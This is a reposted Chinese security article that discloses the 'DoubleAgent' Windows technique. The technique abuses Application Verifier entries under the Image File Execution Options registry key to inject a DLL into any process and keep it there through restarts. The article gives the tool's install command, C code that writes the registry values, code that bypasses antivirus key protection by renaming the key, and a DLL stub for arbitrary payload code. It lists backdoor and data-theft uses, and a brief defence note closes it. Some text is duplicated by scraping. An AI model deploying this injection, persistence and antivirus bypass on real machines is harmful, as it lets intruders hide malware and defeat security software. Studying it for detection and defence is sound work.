DoubleAgent技术:任意进程下代码注入与权限维持

没穿底裤 2020年1月1日02:25:11评论525 views字数 6473阅读21分34秒阅读模式
摘要

概述
本文披露一种全新的0day技术,用于代码注入和权限维持。
影响范围
Windows的所有版本(windows xp到windows 10)
所有windows架构(x86和x64)
Windows所有权限(system/administrator)
每个目标进程,包括特权进程(OS/Antivirus等)

概述
本文披露一种全新的0day技术,用于代码注入和权限维持。
影响范围
Windows的所有版本(windows xp到windows 10)
所有windows架构(x86和x64)
Windows所有权限(system/administrator)
每个目标进程,包括特权进程(OS/Antivirus等)

DoubeleAgent所利用的是一个未被windows公开的技术,该技术已经存在了15年,所以目前没有相对应的补丁。

代码注入
攻击者可以利用DoubeleAgent将任意代码注入到任何一个他想注入的进程中。并且由于注入发生在进程启动的一开始,因此攻击可以完全控制进程,而进程无法进行自我保护。
目前市面上没有任何一款杀毒软件可以检测或预防此种攻击。

权限维持
即便重启进程,DoubeleAgent依旧可以继续注入代码,因此可以实现完美的权限维持。一旦攻击者将DLL文件注入到某个进程中,他们将永远被强制绑定。即便完全卸载后重装,攻击者的DLL仍然可以在每次执行进程时被再次注入。

攻击向量
可以攻击现有的防毒软件和下一代的防毒软件——通过注入代码就可以绕过所有的自我保护机制,并且取得完全的控制权。该攻击目前已经验证能够攻破以下的防病毒软件,包括但不限于:Avast, AVG, Avira, Bitdefender, Comodo, ESET, F-Secure, Kaspersky, Malwarebytes, McAfee, Norton, Panda, Quick Heal and Trend Micro.

安装恶意软件——即便重启,依旧可以长期控制
劫持权限-劫持现有的可信进程的权限,将恶意进程伪装成受信任的进程。例如机密数据,C&C通讯、偷窃和解密敏感数据。
改变流程行为-修改流程的行为。如安装后门,削弱加密算法,等等。
攻击其它的用户会话–向其它用户会话的进程注入代码(systemadminetc

技术深入
Microsoft应用验证程序提供程序
Microsoft提供了一种通过Microsoft Application Verifier Provider DLL为本机代码安装运行时验证工具的标准方法。Provider DLL会加载到进程中,为应用程序提供运行时验证。

通过创建一个Verifier Provider DLL,并且在注册表中设置一些键值,可以得到一个新的Application Verifier Provider DLL。

一旦一个DLL成为一个进程的verifier provider DLL,即使在进程重新启动、更新、重新安装、打上补丁等之后,Windows Loader也会在该进程每次启动时重新注入该verifier provider DLL,达到永久注入的效果。

注册
Application verifier providers根据可执行程序名对应注册,这意味着每个DLL对应到一个特定的程序名,并且将被注入到每个以该名称启动的新进程。

例如 如果将注册DoubleAgentDll.dll到cmd.exe并启动:
“C:-cmd.exe”和“C:-Windows-System32-cmd.exe”,然后将DoubleAgentDll.dll注入到这两个进程中。
注册后,每当使用注册名称创建新进程时,操作系统会自动执行注入。 无论rebootsupdatesreinstallspatches或其他任何内容重复,注入都会一直发生。 每次创建具有注册名称的新进程时,它将与应用程序验证程序提供程序一起注入。

程序下载地址:https://github.com/Cybellum/DoubleAgent

Usage: DoubleAgent.exe installuninstallrepair process_name
e.g. DoubleAgent.exe install cmd.exe

或者使用验证器模块将注册功能集成到现有项目中。
下载地址:https://github.com/Cybellum/DoubleAgent/blob/master/DoubleAgent/Verifier.h

/*

  • Installs an application verifier for the process
    */

DOUBLEAGENT_STATUS VERIFIER_Install(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName, IN PCWSTR pcwszVrfDllPathX86, IN PCWSTR pcwszVrfDllPathX64);
/*

  • In some cases (application crash, exception, etc.) the installuninstall functions may accidentally leave the machine in an undefined state
  • Repairs the machine to its original state
    */

DOUBLEAGENT_STATUS VERIFIER_Repair(VOID);
/*

  • Uninstalls the application verifier from the process
    */

VOID VERIFIER_Uninstall(IN PCWSTR pcwszProcessName, IN PCWSTR pcwszVrfDllName);

注册过程创建两个新的注册表项:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage文件执行选项PROCESS_NAME

/ Creates the VerifierDlls value and sets it to the verifier dll name /

     bCreatedVerifierDlls = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));       /*       * Creates the GlobalFlag value and sets it to FLG_APPLICATION_VERIFIER       * Read more: https://msdn.microsoft.com/en-us/library/windows/hardware/ff542875(v=vs.85).aspx       */      bCreatedGlobalFlag = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag))); 

最终结果显示为:
DoubleAgent技术:任意进程下代码注入与权限维持
某些防病毒软件试图阻止任何尝试创建修改键值的方法来保护“Image File Execution Options”下的进程的键值。例如防病毒软件可能会尝试阻止任何访问“Image File Execution Options”的操作。

通过略微修改注册表路径,可以轻松地绕过这些简单的保护措施。例如我们将首先将“Image File Execution Options”重命名为“Image File Execution Options Temp”临时新名称,然后在“Image File Execution Options TempANTIVIRUS_NAME”下创建新的注册表项,还原“Image File Execution Options TempANTIVIRUS_NAME”的原始名称。
因为新的键值创建发生在“Image File Execution Options TempANTIVIRUS_NAME”,而不是“Image File Execution OptionsANTIVIRUS_NAME”,这足以绕过防病毒自我保护技术。
我们已经在验证着模块中实现了“重命名技术”,可以直接拿来使用。

/ Creates the VerifierDlls value and sets it to the verifier dll name /

     bCreatedVerifierDlls = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));       /*       * Creates the GlobalFlag value and sets it to FLG_APPLICATION_VERIFIER       * Read more: https://msdn.microsoft.com/en-us/library/windows/hardware/ff542875(v=vs.85).aspx       */      bCreatedGlobalFlag = (ERROR_SUCCESS == RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)));       /*       * The key creation might fail because some antiviruses protect the keys of their processes under the IFEO       * One possible bypass is to rename the IFEO key name to a temporary name, create the keys, and restores the IFEO key name       */      if ((FALSE == bCreatedVerifierDlls) || (FALSE == bCreatedGlobalFlag))      {                /* Renames the IFEO key name to a temporary name */                if (ERROR_SUCCESS != RegRenameKey(hIfeoKey, NULL, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_NAME_TEMP))                {                         DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGRENAMEKEY_FAILED);                         goto lbl_cleanup;                }                bKeyRenamed = TRUE;                 /*                 * Opens the temporary IFEO key                 * The key is reopened because some antiviruses continue monitoring and blocking the handle that opened the original IFEO                 */                if (ERROR_SUCCESS != RegOpenKeyExW(HKEY_LOCAL_MACHINE, VERIFIER_IMAGE_FILE_EXECUTION_OPTIONS_SUB_KEY_TEMP, 0, KEY_SET_VALUE | KEY_WOW64_64KEY, &hIfeoKeyTemp))                {                         DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGOPENKEYEXW_FAILED_TEMP_IFEO);                         goto lbl_cleanup;                }                 if (FALSE == bCreatedVerifierDlls)                {                         /* Tries again to create the VerifierDlls value */                         if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes))                         {                                  DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_VERIFIERDLLS);                                  goto lbl_cleanup;                         }                         bCreatedVerifierDllsTemp = TRUE;                }                 if (FALSE == bCreatedGlobalFlag)                {                         /* Tries again to create the GlobalFlag value */                         if (ERROR_SUCCESS != RegSetKeyValueW(hIfeoKeyTemp, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)))                         {                                  DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_DOUBLEAGENT_VERIFIER_REGISTER_REGSETKEYVALUEW_FAILED_GLOBALFLAG);                                  goto lbl_cleanup;                         }                         bCreatedGlobalFlagTemp = TRUE;                }      } 

注入
当操作系统通过调用ntdll!LdrInitializeThunk将控制从内核模式传输到用户模式时,每个进程都将启动。 从这一刻起,ntdll负责初始化过程(初始化全局变量,加载导入等),并最终将控制转移到执行的程序的主要功能。
DoubleAgent技术:任意进程下代码注入与权限维持
该进程处于刚刚启动的状态,唯一加载的模块是ntdll.dll和可执行文件(NS.exe)
DoubleAgent技术:任意进程下代码注入与权限维持
Ntdll会直接启动进程,并且执行ntdll!LdrpInitializeProcess
DoubleAgent技术:任意进程下代码注入与权限维持
通常第一个被加载的DLL将是kernel32.dll
DoubleAgent技术:任意进程下代码注入与权限维持
DoubleAgent技术:任意进程下代码注入与权限维持
通常第一个被加载的DLL将是kernel32.dll
DoubleAgent技术:任意进程下代码注入与权限维持
DoubleAgent技术:任意进程下代码注入与权限维持
由于此阶段其它dll并未加载,我们在任何其他系统dll之前这个进程。
DoubleAgent技术:任意进程下代码注入与权限维持
一旦我们的DLL由ntdll加载,我们的DllMain将被调用,我们可以依照我们的想法在受害者进程中做任何事情。

static BOOL main_DllMainProcessAttach(VOID)
{

     DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;       /*       **************************************************************************       Enter Your Code Here       **************************************************************************       */        /* Succeeded */      DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);       /* Returns status */      return FALSE != DOUBLEAGENT_SUCCESS(eStatus);

}

防护
Microsoft为防病毒供应商提供了一种称为保护进程的新设计概念。这个新概念是专为防病毒服务而设计的。防病毒进程可以创建为“受保护进程”,受保护的进程基础架构只允许加载受信任的签名代码,并具有针对代码注入攻击的内置防御。这意味着,即使攻击者发现一种新的0day注入代码,它不能用于反病毒,因为它的代码没有签名。虽然微软在3年前提供这个设计,但目前没有防病毒软件(Windows Defender除外)实现了此设计。
重要的是要注意,即使防病毒厂商会阻止注册尝试,代码注入技术和权限维持技术将一直存在,因为它是操作系统的合法部分。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日02:25:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DoubleAgent技术:任意进程下代码注入与权限维持http://cn-sec.com/archives/76983.html

发表评论

匿名网友 填写信息